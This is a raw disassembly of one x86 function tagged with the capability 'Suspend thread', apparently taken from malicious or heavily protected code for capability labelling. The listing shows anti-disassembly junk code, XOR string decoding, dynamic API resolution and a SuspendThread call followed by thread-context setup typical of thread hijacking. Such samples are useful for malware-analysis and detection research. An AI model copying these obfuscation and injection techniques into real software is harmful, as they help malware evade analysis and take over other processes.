Function at 0x10080fd6
Capabilities:
Suspend thread

Disassembly:
add esp, 4
jmp 0x10080d71
dec dword [esp]
jno 0x10080d76
jns 0x10080d61
jp 0x10080d7a
add esp, 4
popf
jmp 0x10080d81
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10080d9a
jne 0x10080d9a
call 0x1fc840ee
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
jl 0x10080db0
jmp 0x10080db2
je 0x10080dad
xor eax, eax
test eax, eax
je 0x10080dbb
jne 0x10080dba
call 0x930bfe42
rol byte [ebx + eax*4], 0xf0
add eax, 0x8e0273f8
test byte [ebx + eax + 0x75], dh
add dword [esi + 0x730a6a9c], eax
pop es
xor eax, 3
add eax, 4
xor eax, 5
clc
jae 0x10080dc9
mov es, word [esp + esi*2 - 0x7bfe8afd]
je 0x10080dce
jne 0x10080dce
test byte [esi - 0x64], ah
pushf
push 0xa
jae 0x10080ddb
jmp 0x10080dd6
call 0x10080ddd
jae 0x10080dd6
add esp, 4
jmp 0x10080de2
dec dword [esp]
jno 0x10080de7
jns 0x10080dd2
jp 0x10080deb
add esp, 4
popf
jmp 0x10080df2
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10080e0b
jne 0x10080e0b
call 0x1fc8415f
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor ecx, ecx
mov byte [ebp - 2], cl
lea edx, [ebp - 0x71]
push edx
lea ecx, [ebp - 2]
call fcn.1007e160
mov dword [ebp - 0x28], eax
jl 0x10080e35
jmp 0x10080e37
je 0x10080e32
xor eax, eax
test eax, eax
je 0x10080e40
jne 0x10080e3f
call 0x930bfec7
rol byte [ebx + eax*4], 0xf0
add eax, 0x9d0273f8
xor eax, 3
add eax, 4
xor eax, 5
clc
jae 0x10080e4e
popfd
jns 0x10080ec3
je 0x10080e53
add esi, dword [ebp + 1]
jne 0x10080e53
jns 0x10080eba
pushf
pushfd
push 0xa
jae 0x10080e60
jmp 0x10080e5b
call 0x10080e62
jae 0x10080e5b
add esp, 4
jmp 0x10080e67
dec dword [esp]
jno 0x10080e6c
jns 0x10080e57
jp 0x10080e70
add esp, 4
popf
jmp 0x10080e77
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10080e90
jne 0x10080e90
call 0x1fc841e4
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov eax, 1
imul ecx, eax, 0xc
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx + ecx]
test eax, eax
je 0x10080ebd
mov dword [ebp - 0x40], 1
jmp 0x10080ec4
add bl, ch
pop es
mov dword [ebp - 0x40], 0
add byte [edi], cl
mov dh, 0x4d
rol byte [ebp - 0x38c48b37], 0x45
lock add byte [eax], al
add byte [eax], al
movzx ecx, byte [ebp - 0x40]
test ecx, ecx
je 0x10080f07
mov dword [ebp - 0x10], 0
jmp 0x10080ede
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0xd
jge 0x10080f07
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x10]
movsx ecx, byte [eax]
mov eax, dword [ebp - 0x10]
cdq
mov esi, 0x35
idiv esi
add edx, 0x33
xor ecx, edx
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x10]
mov byte [edx], cl
jmp 0x10080ed5
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x48], eax
jmp 0x10080f83
push 0
push 0
push 0
mov ecx, dword [ebp - 0x44]
push ecx
push 0
push 0
push 0
mov edx, dword [ebp - 0x48]
push edx
call fcn.10038a20
add esp, 8
call eax
mov dword [ebp - 0x20], eax
jl 0x10080fa9
jmp 0x10080fab
je 0x10080fa6
xor eax, eax
test eax, eax
je 0x10080fb4
jne 0x10080fb3
call 0x930c003b
rol byte [ebx + eax*4], 0xf0
add eax, 0x380273f8
dec ebp
xor eax, 3
add eax, 4
xor eax, 5
clc
jae 0x10080fc2
cmp byte [ebp + 0x74], cl
add esi, dword [ebp + 1]
je 0x10080fc7
jne 0x10080fc7
dec ebp
pushf
push 0xa
jae 0x10080fd4
jmp 0x10080fcf
call 0x10080fd6
jae 0x10080fcf
add esp, 4
jmp 0x10080fdb
dec dword [esp]
jno 0x10080fe0
jns 0x10080fcb
jp 0x10080fe4
add esp, 4
popf
jmp 0x10080feb
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10081004
jne 0x10081004
call 0x1fc84358
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
jl 0x10081024
jmp 0x10081026
je 0x10081021
xor eax, eax
test eax, eax
je 0x1008102f
jne 0x1008102e
call 0x930c00b6
rol byte [ebx + eax*4], 0xf0
add eax, 0xb40273f8
jns 0x100810b2
xor eax, 3
add eax, 4
xor eax, 5
clc
jae 0x1008103d
mov ah, 0x79
je 0x10081042
add esi, dword [ebp + 1]
jne 0x10081042
jns 0x100810a9
pushf
pushfd
push 0xa
jae 0x1008104f
jmp 0x1008104a
call 0x10081051
jae 0x1008104a
add esp, 4
jmp 0x10081056
dec dword [esp]
jno 0x1008105b
jns 0x10081046
jp 0x1008105f
add esp, 4
popf
jmp 0x10081066
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1008107f
jne 0x1008107f
call 0x1fc843d3
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov dword [ebp - 0x37c], 0x10002
jl 0x1008109f
jmp 0x100810a1
je 0x1008109c
xor eax, eax
test eax, eax
je 0x100810aa
jne 0x100810a9
call 0x930c0131
rol byte [ebx + eax*4], 0xf0
xor eax, 3
add eax, 4
xor eax, 5
clc
jae 0x100810b8
add eax, 0x5e0273f8
pop esi
inc edx
je 0x100810bd
jne 0x100810bd
inc edx
pushf
push 0xa
jae 0x100810ca
jmp 0x100810c5
call 0x100810cc
jae 0x100810c5
add esp, 4
jmp 0x100810d1
dec dword [esp]
jno 0x100810d6
jns 0x100810c1
jp 0x100810da
add esp, 4
popf
jmp 0x100810e1
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100810fa
jne 0x100810fa
call 0x1fc8444e
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor ecx, ecx
mov byte [ebp - 3], cl
lea edx, [ebp - 0x9e]
push edx
lea ecx, [ebp - 3]
call fcn.1007e140
mov dword [ebp - 0x2c], eax
jl 0x10081127
jmp 0x10081129
je 0x10081124
xor eax, eax
test eax, eax
je 0x10081132
jne 0x10081131
call 0x930c01b9
rol byte [ebx + eax*4], 0xf0
add eax, 0x9d0273f8
xor eax, 3
add eax, 4
xor eax, 5
clc
jae 0x10081140
popfd
jns 0x100811b5
je 0x10081145
add esi, dword [ebp + 1]
jne 0x10081145
jns 0x100811ac
pushf
pushfd
push 0xa
jae 0x10081152
jmp 0x1008114d
call 0x10081154
jae 0x1008114d
add esp, 4
jmp 0x10081159
dec dword [esp]
jno 0x1008115e
jns 0x10081149
jp 0x10081162
add esp, 4
popf
jmp 0x10081169
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10081182
jne 0x10081182
call 0x1fc844d6
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov eax, 1
shl eax, 4
mov ecx, dword [ebp - 0x2c]
movsx edx, byte [ecx + eax]
test edx, edx
je 0x100811af
mov dword [ebp - 0x4c], 1
jmp 0x100811b6
add bl, ch
pop es
mov dword [ebp - 0x4c], 0
add byte [edi], cl
mov dh, 0x45
mov ah, 0x85
sal byte [ebx + edi - 0x39], 0x45
in al, dx
add byte [eax], al
add byte [eax], al
movzx eax, byte [ebp - 0x4c]
test eax, eax
je 0x100811f9
mov dword [ebp - 0x14], 0
jmp 0x100811d0
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0x11
jge 0x100811f9
mov edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x14]
movsx ecx, byte [edx]
mov eax, dword [ebp - 0x14]
cdq
mov esi, 0x35
idiv esi
add edx, 0x33
xor ecx, edx
mov edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x14]
mov byte [edx], cl
jmp 0x100811c7
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x50], eax
jmp 0x10081275
lea ecx, [ebp - 0x37c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
push 0
mov eax, dword [ebp - 0x50]
push eax
call fcn.10038a20
add esp, 8
call eax
jl 0x10081295
jmp 0x10081297
je 0x10081292
xor eax, eax
test eax, eax
je 0x100812a0
jne 0x1008129f
call 0x930c0327
rol byte [ebx + eax*4], 0xf0
add eax, 0x30273f8
arpl word [ebx + eax + 0x75], si
add dword [ebx + 0x66], esp
pushfd
xor eax, 3
add eax, 4
xor eax, 5
clc
jae 0x100812ae
add esp, dword [ebx + 0x74]
add esi, dword [ebp + 1]
je 0x100812b3
jne 0x100812b3
arpl word [esi - 0x64], sp
pushf
push 0xa
jae 0x100812c0
jmp 0x100812bb
call 0x100812c2
jae 0x100812bb
add esp, 4
jmp 0x100812c7
dec dword [esp]
jno 0x100812cc
jns 0x100812b7
jp 0x100812d0
add esp, 4
popf
jmp 0x100812d7
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100812f0
jne 0x100812f0
call 0x1fc84644
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x2cc], ecx
jl 0x1008130f
jmp 0x10081311
je 0x1008130c
xor eax, eax
test eax, eax
je 0x1008131a
jne 0x10081319
call 0x930c03a1
rol byte [ebx + eax*4], 0xf0
add eax, 0xaa0273f8
xor eax, 3
add eax, 4
xor eax, 5
clc
jae 0x10081328
stosb byte es:[edi], al
sub al, 0x74
add esi, dword [ebp + 1]
je 0x1008132d
jne 0x1008132d
sub al, 0x66
pushfd
pushf
push 0xa
jae 0x1008133a
jmp 0x10081335
call 0x1008133c
jae 0x10081335
add esp, 4
jmp 0x10081341
dec dword [esp]
jno 0x10081346
jns 0x10081331